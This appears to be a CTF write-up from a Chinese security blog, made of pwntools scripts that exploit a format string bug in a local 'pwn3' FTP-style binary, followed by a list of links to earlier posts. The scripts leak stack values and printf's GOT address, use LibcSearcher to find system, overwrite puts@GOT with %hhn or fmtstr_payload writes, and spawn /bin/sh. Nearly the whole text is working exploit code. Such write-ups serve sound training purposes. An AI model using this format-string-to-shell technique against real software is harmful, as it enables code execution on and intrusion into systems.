from pwn import * # context.log_level = 'debug' sh = process("./pwn3") sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")sh.sendline(b"rxraclhm") def put():    sh.recvuntil(b"ftp>")    sh.sendline(b"put")    sh.recvuntil(b"please enter the name of the file you want to upload:")    sh.sendline(b"aaa")    sh.recvuntil(b"then, enter the content:")    sh.sendline(b'AAAA..%p..%p..%p..%p..%p..%p..%p..%p') def get():    sh.recvuntil(b"ftp>")    sh.sendline(b"get")    sh.recvuntil(b"enter the file name you want to get:")    sh.sendline(b"aaa") put()get() print(sh.recv())sh.interactive()

def put():    sh.recvuntil(b"ftp>")    sh.sendline(b"put")    sh.recvuntil(b"please enter the name of the file you want to upload:")    sh.sendline(b"aaa")    sh.recvuntil(b"then, enter the content:")    sh.sendline(b'AAAA%7$p')

from pwn import *from LibcSearcher import LibcSearcher context.log_level = 'debug' elf = ELF("./pwn3") sh = process("./pwn3")#gdb.debug("./pwn3", "b *show_dir") sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")sh.sendline(b"rxraclhm") def put(file_name, file_content):    sh.recvuntil(b"ftp>")    sh.sendline(b"put")    sh.recvuntil(b"please enter the name of the file you want to upload:")    sh.sendline(file_name)    sh.recvuntil(b"then, enter the content:")    sh.sendline(file_content) def get(file_name):    sh.recvuntil(b"ftp>")    sh.sendline(b"get")    sh.recvuntil(b"enter the file name you want to get:")    sh.sendline(file_name) def dir():    sh.recvuntil(b"ftp>")    sh.sendline(b"dir")  def leakage_function_addr(got_addr):    put(b'get_addr', b'%8$s' + p32(got_addr))    get(b'get_addr')    function_addr = u32(sh.recv(4))     return function_addr  def compute_order_32(target):    print("target=%x"%target)    dic = {}    for i in range(4):        x = (target >> (i * 8))        x &= 0xff        dic[i] = x             ls = list(dic.items())    ls.sort(key=lambda x:x[1])    return ls  def hack(addr, value, offset_start):    list_of_value = compute_order_32(value)    print(list_of_value)     payload = flat([        p32(addr + 0),        p32(addr + 1),        p32(addr + 2),        p32(addr + 3)    ])     total_char = 16    for it in list_of_value:        curr_char = it[1] - total_char        total_char += curr_char        payload += b"%" + str(curr_char).encode() + b"c%" + str(offset_start + it[0]).encode() + b"$hhn"     print("addr=%x"%addr)    debug(payload)     put(b'hack', payload)    get(b'hack')   printf_addr = leakage_function_addr(elf.got['printf'])print("function_addr=0x%x" %printf_addr) libc = LibcSearcher("printf", printf_addr)libcBase = printf_addr - libc.dump('printf')print("libcBase=%x" %libcBase)  system_addr = libcBase + libc.dump('system')print("system_addr=%x" %system_addr) hack(elf.got['puts'], system_addr, 7)put(b'/bin/sh;', b'get shell') dir() sh.interactive()

from pwn import *from LibcSearcher import LibcSearcher context.log_level = 'debug' elf = ELF("./pwn3") sh = process("./pwn3")#gdb.debug("./pwn3", "b *show_dir")#, "b *get_file" sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")sh.sendline(b"rxraclhm") def put(file_name, file_content):    sh.recvuntil(b"ftp>")    sh.sendline(b"put")    sh.recvuntil(b"please enter the name of the file you want to upload:")    sh.sendline(file_name)    sh.recvuntil(b"then, enter the content:")    sh.sendline(file_content) def get(file_name):    sh.recvuntil(b"ftp>")    sh.sendline(b"get")    sh.recvuntil(b"enter the file name you want to get:")    sh.sendline(file_name) def dir():    sh.recvuntil(b"ftp>")    sh.sendline(b"dir")  def leakage_function_addr(got_addr):    put(b'get_addr', b'%8$s' + p32(got_addr))    get(b'get_addr')    function_addr = u32(sh.recv(4))     return function_addr def hack(addr, value, offset_start):    payload = fmtstr_payload(7, {addr: value})    debug(payload)     put(b'hack', payload)    get(b'hack')   printf_addr = leakage_function_addr(elf.got['printf'])print("function_addr=0x%x" %printf_addr) libc = LibcSearcher("printf", printf_addr)libcBase = printf_addr - libc.dump('printf')print("libcBase=%x" %libcBase)  system_addr = libcBase + libc.dump('system')print("system_addr=%x" %system_addr) hack(elf.got['puts'], system_addr, 7)put(b'/bin/sh;', b'get shell') dir() sh.interactive()

# 往期推荐

1.2022 CISCN初赛 Satool

2.练习1个Kimsuky样本

3.SVC的TraceHook沙箱的实现&无痕Hook实现思路

4.UAC Bypass 技术学习

5.LLVM PASS类pwn题入门

6.Akamai保护的相关网站（IHG，TI）学习记录